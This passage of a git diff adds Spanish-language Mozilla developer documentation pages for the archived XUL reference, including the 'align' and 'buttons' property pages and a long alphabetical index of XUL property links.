+ <li><a href="/es/DOM/Node.appendChild" title="es/DOM/element.appendChild">DOM:element.appendChild</a></li>
+ <li><a href="/es/DOM/element.dispatchEvent" title="es/DOM/element.dispatchEvent">DOM:element.dispatchEvent</a></li>
+ <li><a href="/es/DOM/element.getAttribute" title="es/DOM/element.getAttribute">DOM:element.getAttribute</a></li>
+ <li><a href="/es/DOM/element.getAttributeNode" title="es/DOM/element.getAttributeNode">DOM:element.getAttributeNode</a></li>
+ <li><a href="/es/DOM/element.getAttributeNodeNS" title="es/DOM/element.getAttributeNodeNS">DOM:element.getAttributeNodeNS</a></li>
+ <li><a href="/es/DOM/element.getAttributeNS" title="es/DOM/element.getAttributeNS">DOM:element.getAttributeNS</a></li>
+ <li><a href="/es/DOM/element.getElementsByTagName" title="es/DOM/element.getElementsByTagName">DOM:element.getElementsByTagName</a></li>
+ <li><a href="/es/DOM/element.getElementsByTagNameNS" title="es/DOM/element.getElementsByTagNameNS">DOM:element.getElementsByTagNameNS</a></li>
+ <li><a href="/es/DOM/element.hasAttribute" title="es/DOM/element.hasAttribute">DOM:element.hasAttribute</a></li>
+ <li><a href="/es/DOM/element.hasAttributeNS" title="es/DOM/element.hasAttributeNS">DOM:element.hasAttributeNS</a></li>
+ <li><a href="/es/DOM/Node.hasAttributes" title="es/DOM/element.hasAttributes">DOM:element.hasAttributes</a></li>
+ <li><a href="/es/DOM/Node.hasChildNodes" title="es/DOM/element.hasChildNodes">DOM:element.hasChildNodes</a></li>
+ <li><a href="/es/DOM/Node.insertBefore" title="es/DOM/element.insertBefore">DOM:element.insertBefore</a></li>
+ <li><a href="/es/DOM/Node.isSupported" title="es/DOM/element.isSupported">DOM:element.isSupported</a></li>
+ <li><a href="/es/DOM/Node.normalize" title="es/DOM/element.normalize">DOM:element.normalize</a></li>
+ <li><a href="/es/DOM/element.removeAttribute" title="es/DOM/element.removeAttribute">DOM:element.removeAttribute</a></li>
+ <li><a href="/es/DOM/element.removeAttributeNode" title="es/DOM/element.removeAttributeNode">DOM:element.removeAttributeNode</a></li>
+ <li><a href="/es/DOM/element.removeAttributeNS" title="es/DOM/element.removeAttributeNS">DOM:element.removeAttributeNS</a></li>
+ <li><a href="/es/DOM/Node.removeChild" title="es/DOM/element.removeChild">DOM:element.removeChild</a></li>
+ <li><a href="/es/DOM/element.removeEventListener" title="es/DOM/element.removeEventListener">DOM:element.removeEventListener</a></li>
+ <li><a href="/es/DOM/Node.replaceChild" title="es/DOM/element.replaceChild">DOM:element.replaceChild</a></li>
+ <li><a href="/Es/DOM/Element.setAttribute" title="es/DOM/element.setAttribute">DOM:element.setAttribute</a></li>
+ <li><a href="/es/DOM/element.setAttributeNode" title="es/DOM/element.setAttributeNode">DOM:element.setAttributeNode</a></li>
+ <li><a href="/es/DOM/element.setAttributeNodeNS" title="es/DOM/element.setAttributeNodeNS">DOM:element.setAttributeNodeNS</a></li>
+ <li><a href="/es/DOM/element.setAttributeNS" title="es/DOM/element.setAttributeNS">DOM:element.setAttributeNS</a></li>
+</ul>
diff --git a/files/es/archive/mozilla/xul/property/align/index.html b/files/es/archive/mozilla/xul/property/align/index.html
new file mode 100644
index 0000000000..d3fc019b3d
--- /dev/null
+++ b/files/es/archive/mozilla/xul/property/align/index.html
@@ -0,0 +1,12 @@
+---
+title: Align
+slug: Archive/Mozilla/XUL/Property/Align
+translation_of: Archive/Mozilla/XUL/Property/align
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/es/docs/XUL/Elementos" title="XUL/Elementos">Referencia de XUL</a></span></div>
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/align">align</a></span></code></dt>
+ <dd>Tipo: <em>string</em></dd>
+ <dd>Gets and sets the value of the <code id="a-align"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code> attribute.</dd>
+</dl>
diff --git a/files/es/archive/mozilla/xul/property/buttons/index.html b/files/es/archive/mozilla/xul/property/buttons/index.html
new file mode 100644
index 0000000000..18c1b31651
--- /dev/null
+++ b/files/es/archive/mozilla/xul/property/buttons/index.html
@@ -0,0 +1,21 @@
+---
+title: buttons
+slug: Archive/Mozilla/XUL/Property/Buttons
+translation_of: Archive/Mozilla/XUL/Property/buttons
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/es/docs/XUL/Elementos" title="XUL/Elementos">Referencia de XUL</a></span></div>
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/buttons">buttons</a></span></code></dt>
+ <dd>Typo: <em>lista de los valores de abajo separados por comas</em></dd>
+ <dd>Una lista separada por comas de botones que aparecerán en el cuadro de diálogo. Los botones serán puestos en lugares adecuados para la plataforma del usuario y la gestión básica de eventos se ejecutará automáticamente. En la lista pueden utilizarse los siguientes valores:</dd>
+</dl>
+
+<ul>
+ <li><code>accept</code>: El botón Aceptar, que aceptará los cambios cuando se presione. Este botón también será el botón predeterminado.</li>
+ <li><code>cancel</code>: El botón Cancelar que cancelará la operación.</li>
+ <li><code>help</code>: Un boton Ayuda para mostrar ayuda sobre el diálogo.</li>
+ <li><code>disclosure</code>: Un botón para mostrar más información. Este podría ser un botón o un triángulo.</li>
+ <li><code>extra1</code>: Un botón adicional opcional. Usted puede configurar su leyenda con el atributo<code> <code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/buttonlabelextra1">buttonlabelextra1</a></code></code>.</li>
+ <li><code>extra2</code>: Un segundo botón adicional opcional. Usted puede configurar su leyenda con el atributo <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/buttonlabelextra2">buttonlabelextra2</a></code></code>.</li>
+</ul>
diff --git a/files/es/archive/mozilla/xul/property/index.html b/files/es/archive/mozilla/xul/property/index.html
new file mode 100644
index 0000000000..1a7ae096bc
--- /dev/null
+++ b/files/es/archive/mozilla/xul/property/index.html
@@ -0,0 +1,273 @@
+---
+title: Propiedades
+slug: Archive/Mozilla/XUL/Property
+translation_of: Archive/Mozilla/XUL/Property
+---
+<p><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/es/docs/XUL/Elementos" title="XUL/Elementos">Referencia de XUL</a></span></p>
+
+<ul>
+ <li><a href="/es/XUL/Property/accessible" title="es/XUL/Property/accessible">accessible</a></li>
+ <li><a href="/es/XUL/Property/accessibleType" title="es/XUL/Property/accessibleType">accessibleType</a></li>
+ <li><a href="/es/XUL/Property/accessKey" title="es/XUL/Property/accessKey">accessKey</a></li>
+ <li><a href="/es/XUL/Property/align" title="es/XUL/Property/align">align</a></li>
+ <li><a href="/es/XUL/Property/allNotifications" title="es/XUL/Property/allNotifications">allNotifications</a></li>
+ <li><a href="/es/XUL/Property/allowEvents" title="es/XUL/Property/allowEvents">allowEvents</a></li>
+ <li><a href="/es/XUL/Property/alwaysOpenPopup" title="es/XUL/Property/alwaysOpenPopup">alwaysOpenPopup</a></li>
+ <li><a href="/es/XUL/Property/amIndicator" title="es/XUL/Property/amIndicator">amIndicator</a></li>
+ <li><a href="/es/XUL/Property/appLocale" title="es/XUL/Property/appLocale">appLocale</a></li>
+ <li><a href="/es/XUL/Property/autoCheck" title="es/XUL/Property/autoCheck">autoCheck</a></li>
+ <li><a href="/es/XUL/Property/autoFill" title="es/XUL/Property/autoFill">autoFill</a></li>
+ <li><a href="/es/XUL/Property/autoFillAfterMatch" title="es/XUL/Property/autoFillAfterMatch">autoFillAfterMatch</a></li>
+ <li><a href="/es/XUL/Property/boxObject" title="es/XUL/Property/boxObject">boxObject</a></li>
+ <li><a href="/es/XUL/Property/browsers" title="es/XUL/Property/browsers">browsers</a></li>
+ <li><a href="/es/XUL/Property/builder" title="es/XUL/Property/builder">builder</a></li>
+ <li><a href="/es/XUL/Property/builderView" title="es/XUL/Property/builderView">builderView</a></li>
+ <li><a href="/Es/XUL/Property/Buttons" title="es/XUL/Property/buttons">buttons</a></li>
+ <li><a href="/es/XUL/Property/canAdvance" title="es/XUL/Property/canAdvance">canAdvance</a></li>
+ <li><a href="/es/XUL/Property/canGoBack" title="es/XUL/Property/canGoBack">canGoBack</a></li>
+ <li><a href="/es/XUL/Property/canGoForward" title="es/XUL/Property/canGoForward">canGoForward</a></li>
+ <li><a href="/es/XUL/Property/canRewind" title="es/XUL/Property/canRewind">canRewind</a></li>
+ <li><a href="/es/XUL/Property/checked" title="es/XUL/Property/checked">checked</a></li>
+ <li><a href="/es/XUL/Property/checkState" title="es/XUL/Property/checkState">checkState</a></li>
+ <li><a href="/es/XUL/Property/child" title="es/XUL/Property/child">child</a></li>
+ <li><a href="/es/XUL/Property/children" title="es/XUL/Property/children">children</a></li>
+ <li><a href="/es/XUL/Property/className" title="es/XUL/Property/className">className</a></li>
+ <li><a href="/es/XUL/Property/clickSelectsAll" title="es/XUL/Property/clickSelectsAll">clickSelectsAll</a></li>
+ <li><a class="internal" href="/es/XUL/Property/clientHeight" title="es/XUL/Property/clientHeight">clientHeight</a> </li>
+ <li><a class="internal" href="/es/XUL/Property/clientWidth" title="es/XUL/Property/clientWidth">clientWidth</a> </li>
+ <li><a href="/es/XUL/Property/collapsed" title="es/XUL/Property/collapsed">collapsed</a></li>
+ <li><a href="/es/XUL/Property/color" title="es/XUL/Property/color">color</a></li>
+ <li><a href="/es/XUL/Property/columns" title="es/XUL/Property/columns">columns</a></li>
+ <li><a href="/es/XUL/Property/command" title="es/XUL/Property/command">command</a></li>
+ <li><a href="/es/XUL/Property/commandManager" title="es/XUL/Property/commandManager">commandManager</a></li>
+ <li><a href="/es/XUL/Property/completeDefaultIndex" title="es/XUL/Property/completeDefaultIndex">completeDefaultIndex</a></li>
+ <li><a href="/es/XUL/Property/container" title="es/XUL/Property/container">container</a></li>
+ <li><a href="/es/XUL/Property/contentDocument" title="es/XUL/Property/contentDocument">contentDocument</a></li>
+ <li><a href="/es/XUL/Property/contentPrincipal" title="es/XUL/Property/contentPrincipal">contentPrincipal</a></li>
+ <li><a href="/es/XUL/Property/contentTitle" title="es/XUL/Property/contentTitle">contentTitle</a></li>
+ <li><a href="/es/XUL/Property/contentView" title="es/XUL/Property/contentView">contentView</a></li>
+ <li><a href="/es/XUL/Property/contentViewerEdit" title="es/XUL/Property/contentViewerEdit">contentViewerEdit</a></li>
+ <li><a href="/es/XUL/Property/contentViewerFile" title="es/XUL/Property/contentViewerFile">contentViewerFile</a></li>
+ <li><a href="/es/XUL/Property/contentWindow" title="es/XUL/Property/contentWindow">contentWindow</a></li>
+ <li><a href="/es/XUL/Property/contextMenu" title="es/XUL/Property/contextMenu">contextMenu</a></li>
+ <li><a href="/es/XUL/Property/control" title="es/XUL/Property/control">control</a></li>
+ <li><a href="/es/XUL/Property/controller" title="es/XUL/Property/controller">controller</a></li>
+ <li><a href="/es/XUL/Property/controllers" title="es/XUL/Property/controllers">controllers</a></li>
+ <li><a href="/es/XUL/Property/crop" title="es/XUL/Property/crop">crop</a></li>
+ <li><a href="/es/XUL/Property/current" title="es/XUL/Property/current">current</a></li>
+ <li><a href="/es/XUL/Property/currentIndex" title="es/XUL/Property/currentIndex">currentIndex</a></li>
+ <li><a href="/es/XUL/Property/currentItem" title="es/XUL/Property/currentItem">currentItem</a></li>
+ <li><a href="/es/XUL/Property/currentNotification" title="es/XUL/Property/currentNotification">currentNotification</a></li>
+ <li><a href="/es/XUL/Property/currentPage" title="es/XUL/Property/currentPage">currentPage</a></li>
+ <li><a href="/es/XUL/Property/currentPane" title="es/XUL/Property/currentPane">currentPane</a></li>
+ <li><a href="/es/XUL/Property/currentSet" title="es/XUL/Property/currentSet">currentSet</a></li>
+ <li><a href="/es/XUL/Property/currentURI" title="es/XUL/Property/currentURI">currentURI</a></li>
+ <li><a href="/es/XUL/Property/customToolbarCount" title="es/XUL/Property/customToolbarCount">customToolbarCount</a></li>
+ <li><a href="/es/XUL/Property/database" title="es/XUL/Property/database">database</a></li>
+ <li><a href="/es/XUL/Property/datasources" title="es/XUL/Property/datasources">datasources</a></li>
+ <li><a href="/es/XUL/Property/date" title="es/XUL/Property/date">date</a></li>
+ <li><a href="/es/XUL/Property/dateLeadingZero" title="es/XUL/Property/dateLeadingZero">dateLeadingZero</a></li>
+ <li><a href="/es/XUL/Property/dateValue" title="es/XUL/Property/dateValue">dateValue</a></li>
+ <li><a href="/es/XUL/Property/decimalPlaces" title="es/XUL/Property/decimalPlaces">decimalPlaces</a></li>
+ <li><a href="/es/XUL/Property/decimalSymbol" title="es/XUL/Property/decimalSymbol">decimalSymbol</a></li>
+ <li><a href="/es/XUL/Property/defaultButton" title="es/XUL/Property/defaultButton">defaultButton</a></li>
+ <li><a href="/es/XUL/Property/defaultValue" title="es/XUL/Property/defaultValue">defaultValue</a></li>
+ <li><a href="/es/XUL/Property/description" title="es/XUL/Property/description">description</a></li>
+ <li><a href="/es/XUL/Property/dir" title="es/XUL/Property/dir">dir</a></li>
+ <li><a href="/es/XUL/Property/disableAutocomplete" title="es/XUL/Property/disableAutocomplete">disableAutocomplete</a></li>
+ <li><a href="/es/XUL/Property/disableAutocomplete" title="es/XUL/Property/disableAutocomplete">disableAutoComplete</a></li>
+ <li><a href="/es/XUL/Property/disableautoselect" title="es/XUL/Property/disableautoselect">disableautoselect</a></li>
+ <li><a href="/es/XUL/Property/disabled" title="es/XUL/Property/disabled">disabled</a></li>
+ <li><a href="/es/XUL/Property/disableKeyNavigation" title="es/XUL/Property/disableKeyNavigation">disableKeyNavigation</a></li>
+ <li><a href="/es/XUL/Property/dlgType" title="es/XUL/Property/dlgType">dlgType</a></li>
+ <li><a href="/es/XUL/Property/docShell" title="es/XUL/Property/docShell">docShell</a></li>
+ <li><a href="/es/XUL/Property/documentCharsetInfo" title="es/XUL/Property/documentCharsetInfo">documentCharsetInfo</a></li>
+ <li><a href="/es/XUL/Property/editable" title="es/XUL/Property/editable">editable</a></li>
+ <li><a href="/es/XUL/Property/editingColumn" title="es/XUL/Property/editingColumn">editingColumn</a></li>
+ <li><a href="/es/XUL/Property/editingRow" title="es/XUL/Property/editingRow">editingRow</a></li>
+ <li><a href="/es/XUL/Property/editingSession" title="es/XUL/Property/editingSession">editingSession</a></li>
+ <li><a href="/es/XUL/Property/editor" title="es/XUL/Property/editor">editor</a></li>
+ <li><a href="/es/XUL/Property/editortype" title="es/XUL/Property/editortype">editortype</a></li>
+ <li><a href="/es/XUL/Property/emptyText" title="es/XUL/Property/emptyText">emptyText</a></li>
+ <li><a href="/es/XUL/Property/enableColumnDrag" title="es/XUL/Property/enableColumnDrag">enableColumnDrag</a></li>
+ <li><a href="/es/XUL/Property/eventNode" title="es/XUL/Property/eventNode">eventNode</a></li>
+ <li><a href="/es/XUL/Property/firstOrdinalColumn" title="es/XUL/Property/firstOrdinalColumn">firstOrdinalColumn</a></li>
+ <li><a href="/es/XUL/Property/firstPermanentChild" title="es/XUL/Property/firstPermanentChild">firstPermanentChild</a></li>
+ <li><a href="/es/XUL/Property/flex" title="es/XUL/Property/flex">flex</a></li>
+ <li><a href="/es/XUL/Property/focused" title="es/XUL/Property/focused">focused</a></li>
+ <li><a href="/es/XUL/Property/focusedItem" title="es/XUL/Property/focusedItem">focusedItem</a></li>
+ <li><a href="/es/XUL/Property/forceComplete" title="es/XUL/Property/forceComplete">forceComplete</a></li>
+ <li><a href="/es/XUL/Property/group" title="es/XUL/Property/group">group</a></li>
+ <li><a href="/es/XUL/Property/handleCtrlPageUpDown" title="es/XUL/Property/handleCtrlPageUpDown">handleCtrlPageUpDown</a></li>
+ <li><a href="/es/XUL/Property/handleCtrlTab" title="es/XUL/Property/handleCtrlTab">handleCtrlTab</a></li>
+ <li><a href="/es/XUL/Property/height" title="es/XUL/Property/height">height</a></li>
+ <li><a href="/es/XUL/Property/hidden" title="es/XUL/Property/hidden">hidden</a></li>
+ <li><a href="/es/XUL/Property/hideSeconds" title="es/XUL/Property/hideSeconds">hideSeconds</a></li>
+ <li><a href="/es/XUL/Property/homePage" title="es/XUL/Property/homePage">homePage</a></li>
+ <li><a href="/es/XUL/Property/hour" title="es/XUL/Property/hour">hour</a></li>
+ <li><a href="/es/XUL/Property/hourLeadingZero" title="es/XUL/Property/hourLeadingZero">hourLeadingZero</a></li>
+ <li><a href="/es/XUL/Property/id" title="es/XUL/Property/id">id</a></li>
+ <li><a href="/es/XUL/Property/ignoreBlurWhileSearching" title="es/XUL/Property/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a></li>
+ <li><a href="/es/XUL/Property/image" title="es/XUL/Property/image">image</a></li>
+ <li><a href="/es/XUL/Property/increment" title="es/XUL/Property/increment">increment</a></li>
+ <li><a href="/es/XUL/Property/inputField" title="es/XUL/Property/inputField">inputField</a></li>
+ <li><a href="/es/XUL/Property/inverted" title="es/XUL/Property/inverted">inverted</a></li>
+ <li><a href="/es/XUL/Property/is24HourClock" title="es/XUL/Property/is24HourClock">is24HourClock</a></li>
+ <li><a href="/es/XUL/Property/isPM" title="es/XUL/Property/isPM">isPM</a></li>
+ <li><a href="/es/XUL/Property/isSearching" title="es/XUL/Property/isSearching">isSearching</a></li>
+ <li><a href="/es/XUL/Property/isWaiting" title="es/XUL/Property/isWaiting">isWaiting</a></li>
+ <li><a href="/es/XUL/Property/itemCount" title="es/XUL/Property/itemCount">itemCount</a></li>
+ <li><a href="/es/XUL/Property/label" title="es/XUL/Property/label">label</a></li>
+ <li><a href="/es/XUL/Property/labelElement" title="es/XUL/Property/labelElement">labelElement</a></li>
+ <li><a href="/es/XUL/Property/lastPermanentChild" title="es/XUL/Property/lastPermanentChild">lastPermanentChild</a></li>
+ <li><a href="/es/XUL/Property/lastSelected" title="es/XUL/Property/lastSelected">lastSelected</a></li>
+ <li><a href="/es/XUL/Property/left" title="es/XUL/Property/left">left</a></li>
+ <li><a href="/es/XUL/Property/linkedPanel" title="es/XUL/Property/linkedPanel">linkedPanel</a></li>
+ <li><a href="/es/XUL/Property/listBoxObject" title="es/XUL/Property/listBoxObject">listBoxObject</a></li>
+ <li><a href="/es/XUL/Property/locked" title="es/XUL/Property/locked">locked</a></li>
+ <li><a href="/es/XUL/Property/markupDocumentViewer" title="es/XUL/Property/markupDocumentViewer">markupDocumentViewer</a></li>
+ <li><a href="/es/XUL/Property/max" title="es/XUL/Property/max">max</a></li>
+ <li><a href="/es/XUL/Property/maxHeight" title="es/XUL/Property/maxHeight">maxHeight</a></li>
+ <li><a href="/es/XUL/Property/maxLength" title="es/XUL/Property/maxLength">maxLength</a></li>
+ <li><a href="/es/XUL/Property/maxRows" title="es/XUL/Property/maxRows">maxRows</a></li>
+ <li><a href="/es/XUL/Property/maxWidth" title="es/XUL/Property/maxWidth">maxWidth</a></li>
+ <li><a href="/es/XUL/Property/menu" title="es/XUL/Property/menu">menu</a></li>
+ <li><a href="/es/XUL/Property/menuBoxObject" title="es/XUL/Property/menuBoxObject">menuBoxObject</a></li>
+ <li><a href="/es/XUL/Property/menupopup" title="es/XUL/Property/menupopup">menupopup</a></li>
+ <li><a href="/es/XUL/Property/min" title="es/XUL/Property/min">min</a></li>
+ <li><a href="/es/XUL/Property/minHeight" title="es/XUL/Property/minHeight">minHeight</a></li>
+ <li><a href="/es/XUL/Property/minResultsForPopup" title="es/XUL/Property/minResultsForPopup">minResultsForPopup</a></li>
+ <li><a href="/es/XUL/Property/minWidth" title="es/XUL/Property/minWidth">minWidth</a></li>
+ <li><a href="/es/XUL/Property/minute" title="es/XUL/Property/minute">minute</a></li>
+ <li><a href="/es/XUL/Property/minuteLeadingZero" title="es/XUL/Property/minuteLeadingZero">minuteLeadingZero</a></li>
+ <li><a href="/es/XUL/Property/mode" title="es/XUL/Property/mode">mode</a></li>
+ <li><a href="/es/XUL/Property/month" title="es/XUL/Property/month">month</a></li>
+ <li><a href="/es/XUL/Property/monthLeadingZero" title="es/XUL/Property/monthLeadingZero">monthLeadingZero</a></li>
+ <li><a href="/es/XUL/Property/name" title="es/XUL/Property/name">name</a></li>
+ <li><a href="/es/XUL/Property/next" title="es/XUL/Property/next">next</a></li>
+ <li><a href="/es/XUL/Property/noMatch" title="es/XUL/Property/noMatch">noMatch</a></li>
+ <li><a href="/es/XUL/Property/notificationsHidden" title="es/XUL/Property/notificationsHidden">notificationsHidden</a></li>
+ <li><a href="/es/XUL/Property/object" title="es/XUL/Property/object">object</a></li>
+ <li><a href="/es/XUL/Property/observes" title="es/XUL/Property/observes">observes</a></li>
+ <li><a href="/es/XUL/Property/onFirstPage" title="es/XUL/Property/onFirstPage">onFirstPage</a></li>
+ <li><a href="/es/XUL/Property/onLastPage" title="es/XUL/Property/onLastPage">onLastPage</a></li>
+ <li><a href="/es/XUL/Property/open" title="es/XUL/Property/open">open</a></li>
+ <li><a href="/es/XUL/Property/ordinal" title="es/XUL/Property/ordinal">ordinal</a></li>
+ <li><a href="/es/XUL/Property/orient" title="es/XUL/Property/orient">orient</a></li>
+ <li><a href="/es/XUL/Property/pack" title="es/XUL/Property/pack">pack</a></li>
+ <li><a href="/es/XUL/Property/pageCount" title="es/XUL/Property/pageCount">pageCount</a></li>
+ <li><a href="/es/XUL/Property/pageid" title="es/XUL/Property/pageid">pageid</a></li>
+ <li><a href="/es/XUL/Property/pageIncrement" title="es/XUL/Property/pageIncrement">pageIncrement</a></li>
+ <li><a href="/es/XUL/Property/pageIndex" title="es/XUL/Property/pageIndex">pageIndex</a></li>
+ <li><a href="/es/XUL/Property/pageStep" title="es/XUL/Property/pageStep">pageStep</a></li>
+ <li><a href="/es/XUL/Property/parentContainer" title="es/XUL/Property/parentContainer">parentContainer</a></li>
+ <li><a href="/es/XUL/Property/palette" title="es/XUL/Property/palette">palette</a></li>
+ <li><a href="/es/XUL/Property/persist" title="es/XUL/Property/persist">persist</a></li>
+ <li><a href="/es/XUL/Property/persistence" title="es/XUL/Property/persistence">persistence</a></li>
+ <li><a href="/es/XUL/Property/pmIndicator" title="es/XUL/Property/pmIndicator">pmIndicator</a></li>
+ <li><a href="/es/XUL/Property/popup" title="es/XUL/Property/popup">popup</a></li>
+ <li><a href="/es/XUL/Property/popupBoxObject" title="es/XUL/Property/popupBoxObject">popupBoxObject</a></li>
+ <li><a href="/es/XUL/Property/popupOpen" title="es/XUL/Property/popupOpen">popupOpen</a></li>
+ <li><a href="/es/XUL/Property/position" title="es/XUL/Property/position">position</a></li>
+ <li><a href="/es/XUL/Property/predicate" title="es/XUL/Property/predicate">predicate</a></li>
+ <li><a href="/es/XUL/Property/preferenceElements" title="es/XUL/Property/preferenceElements">preferenceElements</a></li>
+ <li><a href="/es/XUL/Property/preferencePanes" title="es/XUL/Property/preferencePanes">preferencePanes</a></li>
+ <li><a href="/es/XUL/Property/preferences" title="es/XUL/Property/preferences">preferences</a></li>
+ <li><a href="/es/XUL/Property/priority" title="es/XUL/Property/priority">priority</a></li>
+ <li><a href="/es/XUL/Property/radioGroup" title="es/XUL/Property/radioGroup">radioGroup</a></li>
+ <li><a href="/es/XUL/Property/readOnly" title="es/XUL/Property/readOnly">readonly</a></li>
+ <li><a href="/es/XUL/Property/readOnly" title="es/XUL/Property/readOnly">readOnly</a></li>
+ <li><a href="/es/XUL/Property/ref" title="es/XUL/Property/ref">ref</a></li>
+ <li><a href="/es/XUL/Property/resource" title="es/XUL/Property/resource">resource</a></li>
+ <li><a href="/es/XUL/Property/resultsPopup" title="es/XUL/Property/resultsPopup">resultsPopup</a></li>
+ <li><a href="/es/XUL/Property/scrollBoxObject" title="es/XUL/Property/scrollBoxObject">scrollBoxObject</a></li>
+ <li><a href="/es/XUL/Property/scrollIncrement" title="es/XUL/Property/scrollIncrement">scrollIncrement</a></li>
+ <li><a class="internal" href="/es/XUL/Property/scrollHeight" title="es/XUL/Property/scrollHeight">scrollHeight</a> </li>
+ <li><a class="internal" href="/es/XUL/Property/scrollWidth" title="es/XUL/Property/scrollWidth">scrollWidth</a> </li>
+ <li><a href="/es/XUL/Property/searchCount" title="es/XUL/Property/searchCount">searchCount</a></li>
+ <li><a href="/es/XUL/Property/searchLabel" title="es/XUL/Property/searchLabel">searchLabel</a></li>
+ <li><a href="/es/XUL/Property/searchParam" title="es/XUL/Property/searchParam">searchParam</a></li>
+ <li><a href="/es/XUL/Property/searchSessions" title="es/XUL/Property/searchSessions">searchSessions</a></li>
+ <li><a href="/es/XUL/Property/second" title="es/XUL/Property/second">second</a></li>
+ <li><a href="/es/XUL/Property/secondLeadingZero" title="es/XUL/Property/secondLeadingZero">secondLeadingZero</a></li>
+ <li><a href="/es/XUL/Property/securityUI" title="es/XUL/Property/securityUI">securityUI</a></li>
+ <li><a href="/es/XUL/Property/selected" title="es/XUL/Property/selected">selected</a></li>
+ <li><a href="/es/XUL/Property/selectedBrowser" title="es/XUL/Property/selectedBrowser">selectedBrowser</a></li>
+ <li><a href="/es/XUL/Property/selectedCount" title="es/XUL/Property/selectedCount">selectedCount</a></li>
+ <li><a href="/es/XUL/Property/selectedIndex" title="es/XUL/Property/selectedIndex">selectedIndex</a></li>
+ <li><a href="/es/XUL/Property/selectedItem" title="es/XUL/Property/selectedItem">selectedItem</a></li>
+ <li><a href="/es/XUL/Property/selectedItems" title="es/XUL/Property/selectedItems">selectedItems</a></li>
+ <li><a href="/es/XUL/Property/selectedPanel" title="es/XUL/Property/selectedPanel">selectedPanel</a></li>
+ <li><a href="/es/XUL/Property/selectedTab" title="es/XUL/Property/selectedTab">selectedTab</a></li>
+ <li><a href="/es/XUL/Property/selectionEnd" title="es/XUL/Property/selectionEnd">selectionEnd</a></li>
+ <li><a href="/es/XUL/Property/selectionStart" title="es/XUL/Property/selectionStart">selectionStart</a></li>
+ <li><a href="/es/XUL/Property/selstyle" title="es/XUL/Property/selstyle">selstyle</a></li>
+ <li><a href="/es/XUL/Property/selType" title="es/XUL/Property/selType">selType</a></li>
+ <li><a href="/es/XUL/Property/sessionCount" title="es/XUL/Property/sessionCount">sessionCount</a></li>
+ <li><a href="/es/XUL/Property/sessionHistory" title="es/XUL/Property/sessionHistory">sessionHistory</a></li>
+ <li><a href="/es/XUL/Property/showCommentColumn" title="es/XUL/Property/showCommentColumn">showCommentColumn</a></li>
+ <li><a href="/es/XUL/Property/showPopup" title="es/XUL/Property/showPopup">showPopup</a></li>
+ <li><a href="/es/XUL/Property/size" title="es/XUL/Property/size">size</a></li>
+ <li><a href="/es/XUL/Property/smoothScroll" title="es/XUL/Property/smoothScroll">smoothScroll</a></li>
+ <li><a href="/es/XUL/Property/spinButtons" title="es/XUL/Property/spinButtons">spinButtons</a></li>
+ <li><a href="/es/XUL/Property/src" title="es/XUL/Property/src">src</a></li>
+ <li><a href="/es/XUL/Property/state" title="es/XUL/Property/state">state</a></li>
+ <li><a href="/es/XUL/Property/statusbar" title="es/XUL/Property/statusbar">statusbar</a></li>
+ <li><a href="/es/XUL/Property/statusText" title="es/XUL/Property/statusText">statusText</a></li>
+ <li><a href="/es/XUL/Property/stringBundle" title="es/XUL/Property/stringBundle">stringBundle</a></li>
+ <li><a href="/es/XUL/Property/strings" title="es/XUL/Property/strings">strings</a></li>
+ <li><a href="/es/XUL/Property/style" title="es/XUL/Property/style">style</a></li>
+ <li><a href="/es/XUL/Property/subject" title="es/XUL/Property/subject">subject</a></li>
+ <li><a href="/es/XUL/Property/suppressOnSelect" title="es/XUL/Property/suppressOnSelect">suppressOnSelect</a></li>
+ <li><a href="/es/XUL/Property/tabContainer" title="es/XUL/Property/tabContainer">tabContainer</a></li>
+ <li><a href="/es/XUL/Property/tabIndex" title="es/XUL/Property/tabIndex">tabIndex</a></li>
+ <li><a href="/es/XUL/Property/tabs" title="es/XUL/Property/tabs">tabs</a></li>
+ <li><a href="/es/XUL/Property/tabScrolling" title="es/XUL/Property/tabScrolling">tabScrolling</a></li>
+ <li><a href="/es/XUL/Property/tabpanels" title="es/XUL/Property/tabpanels">tabpanels</a></li>
+ <li><a href="/es/XUL/Property/tag" title="es/XUL/Property/tag">tag</a></li>
+ <li><a href="/es/XUL/Property/textLength" title="es/XUL/Property/textLength">textLength</a></li>
+ <li><a href="/es/XUL/Property/textValue" title="es/XUL/Property/textValue">textValue</a></li>
+ <li><a href="/es/XUL/Property/timeout" title="es/XUL/Property/timeout">timeout</a></li>
+ <li><a href="/es/XUL/Property/title" title="es/XUL/Property/title">title</a></li>
+ <li><a href="/es/XUL/Property/toolbarName" title="es/XUL/Property/toolbarName">toolbarName</a></li>
+ <li><a href="/es/XUL/Property/toolbarset" title="es/XUL/Property/toolbarset">toolbarset</a></li>
+ <li><a href="/es/XUL/Property/tooltip" title="es/XUL/Property/tooltip">tooltip</a></li>
+ <li><a href="/es/XUL/Property/tooltipText" title="es/XUL/Property/tooltipText">tooltipText</a></li>
+ <li><a href="/es/XUL/Property/top" title="es/XUL/Property/top">top</a></li>
+ <li><a href="/es/XUL/Property/treeBoxObject" title="es/XUL/Property/treeBoxObject">treeBoxObject</a></li>
+ <li><a href="/es/XUL/Property/type" title="es/XUL/Property/type">type</a></li>
+ <li><a href="/es/XUL/Property/uri" title="es/XUL/Property/uri">uri</a></li>
+ <li><a href="/es/XUL/Property/userAction" title="es/XUL/Property/userAction">userAction</a></li>
+ <li><a href="/es/XUL/Property/value" title="es/XUL/Property/value">value</a></li>
+ <li><a href="/es/XUL/Property/valueNumber" title="es/XUL/Property/valueNumber">valueNumber</a></li>
+ <li><a href="/es/XUL/Property/view" title="es/XUL/Property/view">view</a></li>
+ <li><a href="/es/XUL/Property/webBrowserFind" title="es/XUL/Property/webBrowserFind">webBrowsereFind</a></li>
+ <li><a href="/es/XUL/Property/webNavigation" title="es/XUL/Property/webNavigation">webNavigation</a></li>
